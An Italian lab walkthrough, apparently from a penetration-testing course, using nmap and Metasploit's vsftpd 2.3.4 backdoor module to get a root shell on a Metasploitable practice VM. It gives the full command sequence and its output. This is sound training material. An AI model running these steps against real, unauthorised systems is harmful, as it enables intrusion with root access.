Oggi farò una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd».

Vado ad attuare la fase di exploit. Un exploit è un codice malevolo che va a sfruttare una vulnerabilità che è già presente nel software. L'exploit funziona quando:

- Ha la stessa versione del software vulnerabile
- Se il software è in esecuzione
- Il software NON ha scaricato l'aggiornamento che risolve la vulnerabilità

Dopo l'exploit, ho bisogno di un payload, che sarebbe un file malevolo che io vado ad installare successivamente all'exploit, che mi serve per andare a creare la shell.

La shell sarebbe la connessione che viene stabilita fra attaccante e vittima. Può essere di due tipi: bind o reverse. **Bind** l'attaccante crea una connessione verso la vittima, reverse invece è la vittima che crea ua connessione verso l'attaccante. **Reverse** è ottima per eludere il firewall (traffico dall'interno all'esterno permesso).

Per fare una sessione di hacking sulla macchina Metasploitable sul servizio vsftpd, utilizzo **Metasploit**.

Metasploit è un framework open-source utilizzato per il penetration testing e lo sviluppo di exploit. Offre una vasta gamma di exploit creati dalla comunità e numerosi vettori di attacco che possono essere impiegati contro diversi sistemi e tecnologie.

Come prima cosa utilizzo NMAP sul terminale di Kali per vedere le porte e i servizi aperti su Metasploitable. Noto che l'ftp è aperto.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.54
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 06:59 EST
Nmap scan report for 192.168.1.54
Host is up (0.00013s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
```

Successivamente sul root di Kali apro Metasploit:

```
┌──(root㉿kali)-[~]
└─# msfconsole
```

Cerco l'exploit della versione di vsftpd che mi interessa (nel mio caso è la prima):

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
  Description
   -  ----                                  ---------------  ----       -----
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes
  VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
  VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exp
loit/unix/ftp/vsftpd_234_backdoor
```

Dico di utilizzare la prima, e lascio il payload configurato di default, ovvero "unix/ftp/vsftpd_234_backdoor".

Con il comando "show options" vado a vedere che è richiesto l'ip della macchina vittima (Metasploitable):

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[
   RHOSTS                    yes       The target host(s), see https://docs.me
                                       oit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
```

Vado ad inserire l'ip di Metasploitable, e per verificare che sia stato memorizzato da Metasploit rifaccio "show options":

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[
   RHOSTS   192.168.1.54     yes       The target host(s), see https://docs.me
                                       oit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
```

Digito il comando “exploit” per startare l’attacco.

Facendo ifconfig, verifichiamo se l’exploit è andato a buon fine: se avrò l’indirizzo ip della mia vittima, allora l’exploit sarà riuscito.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.54:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.54:21 - USER: 331 Please specify the password.
[+] 192.168.1.54:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.54:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.56:42079 → 192.168.1.54:620

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e5:c1:79
          inet addr:192.168.1.54  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee5:c179/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5371 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1369 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:370274 (361.5 KB)  TX bytes:135318 (132.1 KB)
          Base address:0×d240 Memory:f0820000-f0840000
```

Creo una cartella con il comando “mkdir” nella directory di root (/). Chiamo la cartella “test_metasploit”:

```
mkdir test_metasploit
```